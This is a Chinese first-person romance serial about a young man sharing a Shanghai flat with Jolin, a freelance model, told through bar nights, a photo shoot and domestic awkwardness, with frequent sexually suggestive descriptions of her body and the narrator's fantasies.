“不好意思,第一次见面就约在这里”,Jolin一边用手扇风,一边站到了我的旁边,“喜欢泡酒吧吗?不喜欢早说啊,我可不希望和个老土同住,不过看你也不像老土”。
老实说,我还真不敢正眼打量Jolin,因为她穿的实在太性感了,黑色紧身露腰小背心,V字大开口低领,脖子上带了条银色的项链,还挂了条翡翠的坠子,正好落在她白皙而深邃的乳沟里,随着急促的呼吸,起伏跌宕。而我又足足比她高一个头还多,要和她说话,就不得不低着头,看下去,基本上是一览众山小,特别在背心里露出的黑色文胸的蕾丝花边,雕琢着她无暇的乳部肌肤,直让人看得血脉膨胀。
大概是看出了我的不自然,Jolin笑了笑,喊到“你还真封建啊”,不过马上意识到周围实在太吵了,或许我根本听不到,于是做了个手势,示意我跟她走。
“唉,这里真吵!不过我还是比较喜欢这里的气氛的!”Jolin在一个很小的桌子旁边坐下了。“这个是……,那个是……,还有她是……”还没有等我坐定,Jolin像报流水帐一样,很快地把她的同桌介绍了一下,可惜我什么也听不到,只好职业化地点头示意。
坐定了才发现,原来一桌都是美女,包括Jolin,一色的瓜子脸,身材都是好得不得了,至于穿着嘛,我只能肯定一点,就是Jolin绝对不是最性感暴露的。
“怎么,看美女看得傻眼啦,大傻个,都是我的同学。我们玩一会789吧,会玩吗,不会我教你,输了喝酒哦,Chivas加绿茶,放心啦,喝不醉的!”
在一群陌生的美女中间,我随着音乐,一边晃动着身体,一边掷着色子,酒是好东西,一瓶Chivas见底的时候,我觉得我们已经融入一片了,虽然我还不知道哪些和我跳舞的,身体紧紧贴在一起的,甚至亲我脸颊的女子的名字,但是我能透过胸膛感觉到她们的心跳,也可以触摸到她们毫无赘肉的腰肢,以及体会到她们丰腴的臀部摩擦我身体产生的异样感觉。那是一种让你的欲望慢慢升腾的氛围,虽然昏晕的灯光和狂暴的节奏可以掩盖很多,但是那一刻,如果没有想法,那就不是一个男人。
大概到1点半的光景,Jolin说大家分手吧,于是结账,AA制。
酒吧门口,Jolin叫了辆出租车,然后回头对我说,这个星期里会给我一个答复的。
一周的时间很快就过去了,我是在最后一天收到Jolin短信息的,她在短信息里面提了三个要求,说我如果没有问题,就可以合租。
第一是我不可以经常带朋友包括女友回家过夜,我想这个没有关系,因为我在大学时候的女朋友已经因为毕业而分手了,在上海我基本上是举目无亲,除了那个挺要好的女性朋友,不过那仅仅是朋友,她是有男朋友的,我和她之间是没有可能性的。
第二是所有的公共费用都是AA制,不准干涉对方的生活,这个当然是的哦,否则就是同居啦,
第三是我要保证我每天洗衣服,不可以让臭衣服污染环境。我想对于这个要求,我的确很难答应,因为我在大学期间就是一个星期洗一次衣服的,不过就因为这个放弃和Jolin同租的机会,我觉得我会遗憾的,于是我回了短信说前面两个要求完全没有问题,可
是衣服我承诺可以做到每两天洗一次。
或许大家会很奇怪,答应了就好了嘛,大不了到时候不洗,但是我的为人是说到就必须做到的,我也不想骗她。
但是短信发出的一刹那,我隐约有点后悔了,担心她是否会生气。
在担惊受怕了两个小时后,她给我一个回复,只有一句话,“不臭的话可以,臭的话不行”,谢天谢地,我立刻回了短信,表示一定照办。
经过几个短信来回,她把她家的地址发给了我,并且约定今天晚上去她家看看房子,并要我带身份证和复印件。
晚上7点半,我胡乱吃了些饭,带了钱和身份证就搭乘地铁去她家了。来到小区门口,不由得感叹,小区的确是比我现在临时寄居的地方好多了,在和门口的保安说明来意后,顺利地到了她家的门口,并按响了门铃。
开门的是Jolin,里面还坐着一个女孩子,隐约认出是那天晚上酒吧看到过的。Jolin笑了笑,说因为是第一次晚上在家里碰头,所以找个女伴来,我说不介意的。
不过在这么亮的灯光下看Jolin,确实和那天的感觉完全不同,今天的Jolin基本没有化妆,高挺的鼻梁,齐耳的短发,显得异常秀气,而最主要的改变是穿着,她穿了一件圆领的休闲T恤,胸口印着吉米的漫画,下身是一条牛仔裤,有点破,还有几个洞,本来应该颓废的感觉,穿在她身上竟然是意想不到的可爱。她看到我不住地打量她,有些脸红,说:“快换鞋进屋吧,别放蚊子进来啦!”
于是我才察觉了自己的失态,笑了笑,换了双拖鞋,进入了客厅。不过她一闪而过的脸红,却让我产生了好奇,究竟是怎么的一个Jolin呢,酒吧的狂野,此刻的静娴,真的是一个人吗?
房子是两房一厅一卫的,客厅墙壁的基色调是黄色,穿插些橘红色的点缀,卧室都是墙纸,Jolin的那间朝南,粉色墙纸,另外空的那间朝东南,缀花淡蓝色的墙纸,卧室家具都一应俱全,是那种稍微有点复古风格的,空调都有,还是很新的,Jolin的房间里面有台笔记本电脑,应该是她自己的。
卫生间是米色仿古瓷砖布饰的,脱离了原来看多的白色系,真是别有风味,一个白色的浴缸,旁边是小的淋浴房,整个收拾得非常干净。厨房倒是不大,但是一边还见缝插针地放着一个小方桌,就两个人用的那种,在黄晕的灯光下,产生一种极其温馨的感觉,不由得让我想像和Jolin一起吃饭的景象。客厅里面当中是台34寸的sony电视机,旁边放了音响和DVD机,正对电视的是沙发,淡色的,有宜家简洁的风格,但是靠垫异常的厚实,因为那个坐在沙发上的女孩子基本都陷进去了。茶几上放着不少零食,还有两杯喝了一半的绿茶。
“ok,都参观完了,怎么样?”Jolin跳到沙发上,问我道。
“太棒了,可是这样的房子应该租金很贵吧?”我试探性地问了下,心里嘀咕着,真不知道是否能够承受得了啊。
“还好,和房东熟悉,所以才4800元一个月!”
“哦”,我差点晕倒,怪不得在电话里问她租价她老是推诿阙词,原来真不便宜啊。我心里盘算了下,我现在一个月工资是3800元,奖金大约会是每个月1000元,但是不保证,如果扣除2400元,再加上吃饭水电煤气手机之类的开销,到是真的不会剩什么了,租还是不租呢,真是个问题!
不过男子汉大丈夫,事到如今,没有什么退路了,于是我故作平静地说:“那好吧,我明天搬你看合适吗?”
Jolin点了点头,关心地问道:“要帮忙吗?”
我想了想,用力点了点头,说道:“明天搬完东西,我估计会很口渴,希望有杯绿茶可以喝喝!”
“啊呀,忘记了忘记了!”Jolin一吐舌头,赶紧去泡茶,又在厨房探出个脑袋:“有话不直说,迟早变哑巴!”
从Jolin家回来,我和室友交待了一下,就开始整理东西,其实也没有什么,大约就一个大旅行包,都是些衣服之类的。第二天下班,我在公司旁边的排档上吃了米粉,就打的去Jolin家了,哦,不,也是我在上海的第一个家了。
我没有让Jolin帮忙,反正就是把衣服放到大衣橱里。Jolin很细心,白天帮我把毯子在太阳下晒了晒,驱除霉味,席子也用毛巾擦了下。闲言少叙,大约到11点光景,基本收拾好了,期间Jolin一直在客厅里看电视,时不时地来看看。
11点半,我说我先洗澡啦,Jolin点点头。就着洗完澡后清凉的感觉,在空调吹来的阵阵凉风里,我隐隐入睡了时候,Jolin突然大声叫到,“Leon,你来!”,于是,爆发了我和Jolin之间的第一次矛盾。
我从床上跳了起来,抓了条汗衫往头上一套就出去了,Jolin在卫生间,门开着,我跑进去一看,她围着一条大大的白色浴巾坐在马桶盖子上,满脸不高兴,见我来了,用手一指淋浴房,说;“你看看,你洗完澡了,怎么也不把淋浴房洗干净呢!?”
我于是低头去看,的确,淋浴房的底盘上有些白色的污垢,在下水孔了还有些毛发,我干净打开水龙头,一边用水冲一边用手把那些毛发取出来。
在清洗淋浴房的时候,我偷眼观瞧Jolin,她脸上明显挂着不开心。由于我是蹲着的,所以离她的腿很近,她的小腿形状极好,脚趾也上没有磨皮,其中的一个踝关节上还挂着一条银色的脚链。
大约3分钟后,我收工了,满脸尴尬地对Jolin道歉,Jolin只是很冷地点了点头,然后说我要洗澡了,你出去吧。听到门在我身后重重地关上,我心头不禁有些愤懑,发什么小姐脾气嘛,不过终归是自己的不对,想想也就算了。
睡是暂时睡不着了,我坐到沙发上,打开电视,关小音量,漫无目的地看会儿音乐台,顺便等等Jolin,因为很想知道她洗完澡后的心情会不会好些。
大约15分钟后,Jolin穿着一件长大的圆领衫出来了,虽然厅里灯光很暗,但是从卫生间门洞里透出的灯光,正好背投在她的身上,使得正面的我一下子就可以肯定,她里面绝对没有穿内衣。她也很诧异,不过还没有等她开口,我马上说道:“Jolin,今天真的对不起,因为平时都在公司里面洗澡的,所以今天就忘记洗淋浴房了,你能原谅我吗?”
Jolin笑了笑,说道“我有那么小器吗?”
睡在床上,我一直在回味Jolin若隐若现的胴体,虽然看不真切,但是却让我充满浮想联翩,甚至慢慢地把她的衣物想得越来越透明,唉,男人啊!
因为晚上睡得晚,所以早上有点爬不起来,到了倒计时开始了,我赶紧懵懂着跑进了卫生间,随便洗刷了下,也没有吃早饭,大概是8点半离开了家,Jolin好像没有起床,不过谁知道呢,她房门紧闭着。
我在出房门的时候,突然间想到一个问题,就是要把房门反锁吗,因为如果是Jolin在家,那无所谓,但是要是家里没有人,那岂不是很不安全吗?
想到这里,我不得不掏出钥匙,再次进去,鼓起勇气敲了敲Jolin的房门。
Jolin睡眼蒙胧地开了门,她穿了一件半透明的青色丝质蕾丝花边的睡衣,其实说半透明也是不够的,可能有75%透明了,反正胸部看得很真切,包括粉色的乳突和周围的晕边。
“干吗?”,她丝毫没有意识到她的春光外泄。
“我要上班了,想要是你不在我就反锁门了,所以来确定下。”
“哦,Byebye!”,她点了点头,就把门关了。
不用说,大家也知道,去公司的地铁里,我一直想的就是Jolin了,哈哈,我是不是有点爱上她了啊,还是
因为其他的想法。
我并不是小处男,早在高中时候就和班里要好的女同学偷尝过禁果了,至于大学里,虽说不是很博爱,但是至少女朋友是换了几个的,当然我也不是那种不负责任玩弄感情的,只是觉得,所谓恋人,就是在人生道路上共享一段爱情的同路人,爱淡了,人也散了。而至于做〈!—->爱,那是水到渠成的,而非强求。但是Jolin给我的感觉却不一样,我不能不在心底承认我对她是有欲望的。
不过后来的几天,我发现Jolin好像没有上班。因为有一次我忘记带手机了,但是又不确定是不是带出来掉了,就试探性地打电话回去,结果Jolin接的电话,并且在沙发上找到了我还没有开机的手机。
于是我产生了一个很大的疑问,那就是Jolin究竟是靠什么为生呢,毕竟要负担这么大的一笔房租开销啦,而且她还喜欢在外面泡酒吧。
我没有好意思开口问Jolin,因为说好不干涉对方的,我把这个疑问放在心里。
我和Jolin异性同租的日子就这么开始了,其实没有什么神秘,或许每个人在这样的生活开始之前,会充满期待和憧憬,甚至是想入非非,但是一旦开始了,却也只是一个慢慢习惯的过程,习惯对方的习惯。
Jolin是一个很好相处的女孩子,至少没有我原来所担心的上海女孩子的斤斤计较和作天作地,也很大方。有时候她会去菜场买些菜,然后发个短信给我,说晚上要喂猪了,让我别吃其他的饲料,而我也赶忙回个消息,问御膳房晚上都有什么贡品。老实说,她烧菜是有两把刷子,但是为了保持身材,自己吃得很少。她好像喜欢看我吃,有时候如果剩一点点没有吃完的话,她就一定会假装虎着脸,说饲养员很生气,后果很严重,而我也不得不假装狼吞虎咽地把菜全部包圆。
和Jolin相处的日子并不多,但是我已经感到公司的钟走得很慢了。每天从出门的一刻起,我就总是在盼望着下班,好不容易下班了,我就忙不迭地往家里赶。这都是为了什么呢,我往往在电梯里问自己,然后给自己一个无关Jolin的理由,掏出钥匙,打开房门。

Jolin的工作

周五的晚上,Jolin接到一个电话,好像很开心的样子,然后问我明天有没有空,我说双休日,当然没有事啦。
Jolin笑眯眯地说:“那你明天陪我好吗,一天哦,答应我啦!”
我点点了头:“不过可以先告诉我做什么事吗,不会逛街逛一天吧!”
“不会!”Jolin坏笑道,“肯定不会,你就答应人家啦!”
“好的好的!”我暗自寻思,反正没有事,闲着也是闲着。
“那么早上4点出发,我会在3点半叫醒你的,不许反悔哦,洗澡睡觉啦!”Jolin一声欢呼,刺溜钻进了卫生间,留下我一个人木木在沙发上计算自己还可以睡几个小时。
3点半,Jolin果然敲门叫醒了我,当我睁着惺松的睡眼,摸向卫生间的时候,才发现她早就整装待发了。大概4点的时候,门铃响了,来的是同租面试那天我看到的女孩,Jolin的死X,Shine。
“你也去啊,Leon,”Shine歪着脑袋看了看我,又向Jolin眨了下眼睛。
出门打的,方向是龙华机场,路上Jolin向我介绍了怎么回事情。原来Jolin毕业后,就一直在做模特,由于身高才172CM,做T台的模特,条件不够理想,所以往往做些品牌服饰的平面摄影模特,但是由于名气不大,所以一般都是小品牌,这次的活是Shine接的,对方要2个女孩子,Jolin就也去了。
那个品牌是一个少女服饰,概念上比较前卫性感,之所以选中龙华机场,是因为那里有些外景比较酷,残旧的混凝土结构,很能衬托出服饰冷艳的感觉。并且对方的摄影师希望拍些日出的镜头,日出代表着新生代嘛。
来到现场,对方的人员都来了七七八八了,摄影师是一个留着长发的文化青年模样的人,他和Shine是认识的,所以我们一到,他就来打招呼:“Shine,今天工作量很大啊,估计得拍到晚上啦,姐妹们要挺住啊!”
Shine回头看看了我,答道:“放心,我们还带了粉丝来鼓气呢!”
“还有,你和Jolin说了没有,今天大多数衣服是不穿内衣的”,摄影师一边摆弄着照相机一边说。
“知道啦,准备好了,放心好了”
不穿内衣?我本来还迷迷糊糊的脑袋悚地清凉起来,那不是让我大饱眼福嘛。后来Jolin告诉我,因为很多衣服的设计师不希望文胸的轮廓凸显到衣服上,破坏本身的线条,所以往往要求模特不着内衣,这个和T台上的模特走台有类似的情况,而且那个品牌是走前卫性感路线的,特别紧身,领口开口又很低,所以除了一些需要用文胸花边或者肩带装饰的,绝大多数服装都要求模特上身不穿文胸和下身穿丁字裤。
“那不怕现场走光吗?”我当时好奇地问Jolin,Jolin叹了口气,“唉,做模特,身体又不是自己的,再说你没有去过T台的后台,很多男设计师都在场的情况下,你还不是照样脱衣服穿衣服的嘛。”
“不过,我们一般都会用胸贴的,嘻嘻!”
“喏,那里是更衣室化妆间,准备开始了,”来了一个30来岁的女的,手指向一边角落里用塑料布零时搭建起来的帐篷,然后看了我一样,问Shine我是谁。
“哦,是我的经纪人。”Jolin抢着回答,那个女的看了看Jolin,又看了看Shine,说道:“我还以为你是Shine的人呢,”她挥了挥手,“OK,快点了!”
“那个是品牌经理,这次生意就是和她谈的,很抠门的,哼!”Shine一路上压低嗓门和我说。
“哦,我把合同带来了,中午休息时候你们签了吧!”那个女的在身后喊了一声,然后追上来,把合同塞给我,“你是经纪人,你先看看吧!”
现场有点风,塑料布吹得呼啦啦响,我在门口守望,她们在里面换衣服和化妆,有点护花使者的感觉。
那个合同嘛,我装模作样地看看,其实我真看不懂什么门道,反正就是一大堆的“不准”、“必须”、“否则”之类的,唉,勉为其难啊!
看她们拍照,一开始是享受,后来是受罪。首先大家绝对不要幻想看什么走光之类的,衣服的确很性感,但是那个是成衣不是时装,成衣是要让人可以穿到大街上的,所以实际上在拍摄现场最后就是看到她们俯身时候露出的乳沟。其次大家千万不要以为拍摄过程如电视里面看到的闪光灯喀嚓喀嚓响,模特不断变化身姿的性感场面,根本不是那么一回事,每个pose都是摄影师指导的,摆了之后,灯光师拿着反光板走来走去测光打光,差不多了,才喀嚓。我计算了一下,基本上2~3分钟才完成一张,因为有时候同样的pose会拍个五六遍。
Jolin后来告诉我,还算好那个品牌不需要她们笑,只要装出冷漠的表情就可以了,否则脸上的肌肉也要抽筋罢工啦!
而且随着太阳升高,天气开始热了起来,大家开始有点出汗了,Jolin和Shine补妆的时间也越来越多。你知道出汗而不能喝水是多么难受吗,Jolin和Shine一天都没有喝多少水,因为她们的腰都很细,没有赘肉,如果喝水喝多了,小腹就会鼓起来些,那么穿衣效果就会差很多,特别是一些露脐的,更加是无法拍摄了,当然午饭也只能吃个小饱,用Shine的话说,就是“能活着回去,就是胜利!”。
大概拍到晚上八九点钟左右,基本告一段落了,我大概算了算,可能拍了有二三十套衣服,真牛啊。最后是集体照,所有参与拍摄的工作人员聚拢在一起,大家吧那
个品牌经理围在当中,“茄子”了一下,唉,谁叫人家是衣食父母呢。
结账的时候,Jolin要我也在旁边,这样一天的工作,Jolin和Shine好像是每人5000元,Jolin后来回去的路上告诉我,一般拍照是2000~3000元,不穿内衣的会贵些,在5000~6000元,如果是得奖的模特,那价格就是要接近上万了,如果是出国的模特,那没有几万是拿不下的。不过一般模特会和模特公司签约,她们是因为喜欢无拘无束,所以就独来独往了,号称野模,但是收入会很不稳定。不过她们因为接受过舞蹈训练,所以有时候一些需要发挥或者表现的拍摄,往往会比专业的模特更加胜任,再说人头熟悉,所以基本上每个月会有两次到三次的工作机会。
“而且,你别觉得这个5000块和好赚,你算算,我们拍了二十多套衣服,每套大概是十来张吧,平均每张就是几十块钱,”Shine补充道,“可是你知道嘛,品牌经理那里实际会用的不会超过50张照片的,可能就二三十张,所以他们会觉得贵,双方的观点不一样,所以很难谈的。
“唉,别说啦,我们去酒吧庆祝一下啦”Shine提出来,“你也去”,Shine对那个摄影师说道。上次在Babyface也是一次工作结束后的狂欢,Jolin告诉我。
摄影师把器材整理好了之后,教给其他工作人员,然后我们一行四人吃了点饭,再去了新天地的SOHO。
摄影师叫Parker,这次的生意是Parker照顾的,所以我们要请他玩,Jolin偷偷地告诉我。Parker在摄影界还算小有名气,和很多服饰的品牌经理都认得,所以有时候会推荐一些模特去拍照的,不过他倒是不要回扣,因为他比较喜欢博爱,和不少模特都有些说不清道不明的暧昧关系。
音乐响起,我和Jolin喝了会酒,就开始跳舞了,不过SOHO太小,根本放不开,我们就在桌子旁边跳,有时候会一边跳一边拿起酒杯喝一小口,感觉很迷醉。Shine和Parker在我们不远的地方翩翩起舞,是那种快歌慢舞,Parker站在Shine的背后,用手搂住她的腰,Shine举着双手,用臀部紧紧贴住Parker的胯部,慢慢扭动身躯。
而我和Jolin是面对面的那种,Jolin见我望着Shine他们,就踮起脚凑近脑袋对我说,我们也跳那种吧,然后就转身,捉住我的手放在她的腰上。
我们的位子是靠近洗手间的,所以到了后半场,在我们的桌子前面,站了一大群的女孩子,排队上厕所,蔚为壮观。因为那里的男女厕所各只有一个,所以男的就很倒霉,比方我在嘘嘘的时候,背后的门就被推开,一个女孩子急匆匆地冲了进来,看了我一眼,就推门去旁边的一号了,门也顾不得锁住,就听见哗哗的水声。不过那里的人也见怪不怪了,在门口洗手的时候,那个女孩子出来还对我点了点头。
Jolin才扭动了一会,我马上有一种火辣辣的感觉从胯部上升到头部,酒精的作用被急剧放大,我不由得低头去问Jolin的粉颈和耳朵,听着她发出轻微的呻吟,不过混在吵杂的音乐声里,并不真切,或许是我的幻想罢了。
1点半,我们离开了酒吧,酒吧是2点关门的,但是到了2点,车会很紧张,所以我们提前半小时出来了。
Shine和Parker一辆车,Parker说要送Shine回去,不过傻瓜也知道他们将要发生的事情,但是我还是装傻问了Jolin,Jolin笑了,告诉我如果我这个也不知道,那我就白来酒吧了。嘻嘻,我有什么不良企图,Jolin是不是看穿了呀?
“不过,你又何尝知道是谁需要谁呢?”,快下车的时候,Jolin幽幽地说。
那个晚上,我们什么事也没有发生,虽然我很期待,但是我不敢说。回家后,洗澡,互道晚安,关门,睡觉,平淡得一如往常,只是我有点睡不着,一直在回想酒吧里的那种火辣辣的感觉,她是挑逗我吗,还是只不过一种舞蹈而已。
Jolin啊,你现在在想什么呢,会梦到我吗,你对我是怎样的感觉呢?我忐忑不安地进入梦乡。

合租的尴尬事

和Jolin合租了快一个月了,要说是有没有什么香艳的事情发生,我想大家会很失望,因为我的确对Jolin从好感到喜欢到爱慕,但是我不确定Jolin对我的感觉,更加怕一开口就失去了这么好的一个室友。其实在潜意识里面,我更加矛盾,虽然Jolin比我以前的女朋友都性感漂亮,但是由于我也不赖,所以以前都是双方都很主动,而现在要我开口,总是有点放不下。还有呢,Jolin的消费虽然不算很高,我现在就这么点工资,除了房租,恐怕只能养活自己,我还怕Jolin看不起我呢。
而Jolin在这方面也是表现很奇怪的,有时候亲昵得让我浮想联翩,似乎一用力就可以把她按在床上,而有时候却平淡如水,只是道个晚安而已。
唉,不说这个了,想想也烦恼,少年维特的烦恼。
不过,现在的Jolin究竟对我的感觉如何,这个秘密会在以后揭晓的,我先打个伏笔。
说说合租的尴尬事吧,合租嘛,走光是难以避免的,这个凡是有合租经历的人都知道,因为女孩子在家里一边都不会戴文胸,喜欢穿宽大的纯棉汗衫或者就是轻薄的丝质睡衣。如果是汗衫的话,无论是领口或者袖口,都是走光的渠道,至于睡衣呢,Jolin一般是会房间睡觉才换上的,不过晚上起夜的时候,她就穿睡衣出来,所以有段时间,我晚上老是睡不踏实,幻想起夜的时候会碰到她,然后呢不知不觉中就越想越火。Jolin有时候也会穿抹胸加热裤,她并不介意我偷看或者欣赏她的身材,因为她对自己的身材太自信了,至于我,也尽量装得正人君子一番,我不希望Jolin把我看扁了。
其实合租的尴尬事一般都不是走光引起的,说什么男的女的光屁股上厕所,基本都是瞎掰,或者作者的意淫。我的经验告诉我,尴尬事往往源自于双方生活习惯的不同,而最最容易发生尴尬的地点,基本就是洗手间了。

还算好,我和Jolin不会因为抢夺洗手间而发生矛盾,因为Jolin上午一般在睡懒觉。但是真正让我尴尬的是她的生理期,这个也是合租男女无法忽视的问题。Jolin和其他80%的女孩子一样,生理期会肚子痛,而且那个时候就脾气很不好,有时候还会哭鼻子。一开始我当然不知道啦,一个大老爷们儿,从来没有这方面经验的,有时候看她脸色煞白地用热水袋捂住肚子,就主动上去问长问短,结果招一顿白眼。后来熟悉了,她也告诉我了,每逢那个时候,我就倒杯热水,守在她的身边,陪她看电视,水凉了,再去换。那个时候感觉真的很好,看着Jolin,就像呵护着自己的恋人一样。
Jolin有时候会把床单弄脏,看到她晾晒在阳台的床单,我有时候会坏笑地说:“Jolin啊,又尿床啦?”,而Jolin也不生气啊,嘻嘻哈哈地应两声,不过Jolin后来说,如果心情好些,那么痛也会减轻些,不过要根治,恐怕得结婚后了,我问为什么,Jolin就骂我臭流氓,我很冤枉。
再后来,更加熟悉了,Jolin有时候会让我去楼下的便利店买卫生棉,指定牌子的,这个真是尴尬万份,我感觉就像作贼一样,偷偷摸摸地在一群女孩子的目光注视下,找到那个牌子的卫生棉,还要看看是不是带翅膀的,然后那个几包,又在她们的目光关注下,故作镇定地踱步走出火力范围,世界上到底有没有“凌波微步”这门功夫啊,我一直在那个货架前问自己。
其实结账的售货员倒是没有什么,只是我不自然,每次还要买些零食做掩盖,还怕排队,最好是结款处是空的,最
怕就是刚一结账,后面就来一大群老妈妈,无微不至地关心着你买的每一样东西。

Jolin一个星期会固定泡一次浴缸,用很香的浴盐,于是房间里就会氲起温馨的味道,和着湿润的水气,Jolin还要我把音乐打开,放些NC的音乐,就是新世纪的,很舒缓放松的那种,她的门并不关严实,否则就听不到音乐了,所以那个时候,我就老是幻想她会忘记什么衣服,然后大声而暧昧地叫我,于是成就一段好事,但是这样的机会Jolin好像从来没有给过我,这让我在客厅里老竖着的耳朵很是不爽。
Jolin有时候周末会约她的同学死X们过来,玩晚了,就会过夜,房间睡不下,她们有几个就会睡客厅,那个时候客厅里真是香艳火爆,基本上都是穿个内衣裹个毯子就睡沙发上了。Jolin的同学都是女孩子,她们那个班就没有一个男的,所以她们习惯了这样,也根本没有把我当男的看,至于我,晚上可千万不能起夜,因为她们睡下去的时候,衣服少但还算规整,等睡迷糊了,那走光就比比皆是了,她们不习惯穿内衣睡觉的,一般在家里都是穿睡衣的,而Jolin又没有那么多晚上睡觉可以穿的衣服给她们。其实我倒是也想看,但是我怕Jolin因此对我有看法,我也提出来过说要不我睡沙发她们睡我房间,可是她们不肯。Jolin说要不是我在,她们赤膊睡也无妨,我听了那个热血沸腾啊。
尴尬的不是晚上,而是早上,憋了一个晚上,要出去嘘嘘的时候,她们肯定还没有睡醒,而凡是男的都知道早上会有怎样的生理现象,再加上火爆的场面,不留鼻血才怪。
我一般在房间里穿戴整齐后,同时发出点声响,提醒外面的女孩子们,等哥们消肿了,才走到卫生间开始洗漱,洗漱完了之后,就出门去楼下买点早点,约莫9点半光景回来,她们那个时候也醒的差不多了,开始排队洗漱了。至于早点,那是一扫而空,风卷残云,我不得不死死护住Jolin的那份,说谁也不给。

还有什么尴尬事呢,恐怕就是看片子的问题了,Jolin喜欢看DVD,买了不少,我在她的训导下,也喜欢看了,不过除了大片,Jolin喜欢的是言情片,美国的言情片节奏往往还可以,但是欧洲的就不行了,慢得我直打哈欠,每逢那个时候,Jolin就骂我土包子。不过欧洲的片子裸露镜头很多,包括很多性爱镜头,每到那个时候,我和Jolin往往都会有些尴尬。特别是有一次看一部据说很著名的《罗曼史》,我是看不懂什么内涵,但是以我的眼光来判断,和A片基本无二,而且都是真刀真枪的,Jolin一开始还津津有味,到后来在刺耳的喘息声中,她也脸红挂不住了,说:“Leon啊,你去换片子啦!”
唉,我想我不说大家也知道了,那个时候的我是万万不能站起来的,为什么,升旗了啊,真是尴尬万份啊。我支支吾吾了几下,说要不再看看吧,Jolin好像突然明白了,很邪恶地看我一眼,又慢慢地把眼神移到我的胯部,这下子可让我无地自容了,脸腾地就红了。所以说学过表演的真是不一样,Jolin能用眼神杀人,这个我毫不怀疑,Jolin能用眼神强 J人,我想我就是受害者。
其实这样的事情是经常发生的,看到34寸电视上演绎着人家的性爱,Jolin有时候也会很搞笑地突然斜着脑袋上下打量我,然后抱着个垫子护住胸前,作瑟瑟发抖可爱状,并赶紧挪到沙发的另一端。

Jolin很爱干净,真的是天天洗衣服,因为有洗衣机嘛,至于我,后来熟悉了,就常把我的衣服和Jolin的放在一起洗,既省电还节约洗衣粉,不过她有两样衣物从来不放在洗衣机里洗,一个是文胸,另外一个是生理期的内裤,都是手洗的。夏天女孩子的衣服,本来就充满了性感的芬芳,而我在晾晒的时候,更加感觉是一件件地欣赏着Jolin的私密。蕾丝是Jolin钟爱的,几乎每个文胸每条内裤都有蕾丝花边,有时候看到一杆的蕾丝随风飘荡,真让人心旷神怡。我现在很能体谅那些恋物癖,不过仅仅是体谅啊,憎恶还是占绝大多数。
至于在钱方面,我们也没有什么纠纷,Jolin不缺钱,也不看重钱,而我虽然钱不多,但是由于都是AA制,所以负担也在承受范围之内。
反正,时间就这么过去快两个月了,在两个月了,我慢慢发现Jolin其实是一个有秘密的女孩子,究竟是什么秘密呢,且听下回分解啦!

Jolin的秘密

女孩子一般喜欢拍照片,Jolin这么漂亮,就更加不例外了,整个房间里面到处有她的照片,不过合影居多,都是和死X们一起玩啊疯啊的照片,要不就是旅游的照片,还有少量的是些艺术照。Jolin不喜欢艺术照,说太假,一点也不像她。Jolin的很多朋友,我都是边听Jolin说边看照片边记牢的,因为都是些洋文名字,有些还好几个音节,真是吃饱撑的,谁记得住啊。
Jolin其实很怀旧的,也很重和死X们的感情,谁谁谁以前怎么样啊,寝室里有什么故事啊,男朋友如何如何啊,她若是心情好就会一边翻照片一边和我说,其实都是些鸡毛蒜皮的事情,有时候真搞不懂女孩子为什么会这么看重细节,但是Jolin说,你如果活到80岁,还能回忆起那些鸡毛蒜皮,也肯定会把自己感动得一塌糊涂,有回忆可以让你回忆,那是一种幸福。我对Jolin的话,虽然也是比较赞成的,但是所谓的“有回忆可以让你回忆”,打了几个弯才明白,然而其中的另外一层含义,确实在Jolin离开我的日子里才体会到的,不过那是后话了。
后来照片看多了,或者说基本都看遍了,我蓦然感到有些不对,为什么呢,因为照片里面的每一个死X,我都看到了,都认识了,看到这里,大家或许明白我的疑问了吧,对,既然Jolin有一个和她要好到住在一起的死X,就是Jolin电话里说的那个去法国的女孩子,那么Jolin和她的照片为什么就一张也没有呢?
Jolin是很恋旧的,不可能因为那个女孩子的离开,就把她们的合影全部丢了吧,再说后来我仔细想想,发现,无论是Shine还是其他像May和Kitty,和Jolin好的没边的女孩子,也从来没有提到过一句那个去法国的女孩子,她不会是人间蒸发了吧。

有一天,Jolin问我去黄山吗,她和Shine准备去,邀请我去护花,说心里话,我真想去,可是我不可能有那么多假,她们不是周末去,周末她们嫌人多,她们是周一出发,周五回来的那种自助游,所以我摇了摇头,Jolin发了会嗲,看我真的没戏,就只好和Shine打个电话,再找护花使者啦。
Jolin是坐晚上的N519次列车走的,大约10点开,我去火车站送别的时候,看到那个摄影师,原来他就是护花大侠啊,Jolin对我眨眨眼,偷声告诉我Shine和他在拍拖,我笑了笑,耸耸肩,会有结果吗,我暗自替Shine担心。

回到空荡荡的家里,正好接到Jolin的短信,说饲养员不在的日子里,自己要保重啊,我笑着回了信,说祝她一路顺风。
还真别说,没有了Jolin,我对这个家的感觉一下子就淡了不少。Jolin的房间没有锁,我是第一次偷着进去看看,我不敢动任何的东西,只是把鼻子凑到Jolin的床上,呼吸一下Jolin的味道,我发现自己不可救药地爱上了她。
晚上我是睡在Jolin房间的地板上的,或许是第一次,或许是最后一次,我把我心底的对Jolin的爱以如此的方式告诉自己。

上班了,知道回去也看不到Jolin,时间又变得同以往一样正常了。我突然发现自己其实因为Jolin和很多同
事都疏远了,甚至有些新来的都不知道他们的名字。
周三下班回家,信箱里躺一张小纸条,是房东留的,要我和他速速取得联系。我按着他留的电话打过去,接电话的是一个声音听起来大约40来岁的男子。
“陈凯文啊,你们的房租还有一个月就到期啦,你们还准备借下去吗?”房东说。
陈凯文?我心里起了一个巨大的问号,不过我马上说:“哦,Jolin不在,周末回来就给你答复好吗?”
房东说好的,不过我并没有告诉他我不是陈凯文。

去问谁呢,我对这个陈凯文开始好奇起来,英国谚语说,好奇心杀死一只猫,我可不敢去问她的朋友们,虽然我确信他们都知道,但是我不想死得很难看。

在白天吃午饭的时候,一个新来的女孩坐到了我的桌子对面:“你好,我叫Candy,新来的,认识一下好吗。”
我礼节性地点了点头,把陈凯文暂时赶出大脑。Candy是一个挺漂亮的女孩子,而且因为一直在教健美操,所以看上去身材极好,她和Jolin不一样,Jolin是偏骨干的,而Candy是偏肉质的,各有风味吧。她也不是上海人,好像是东北的,听她的口音就知道。
“晚上我们几个新来的去唱歌,你去吗?”Candy说道。
“哦,那好吧,我去!”我犹豫了一下,想到自己回去也看不到Jolin,那干脆就去玩玩吧,别疏远了同事啊。

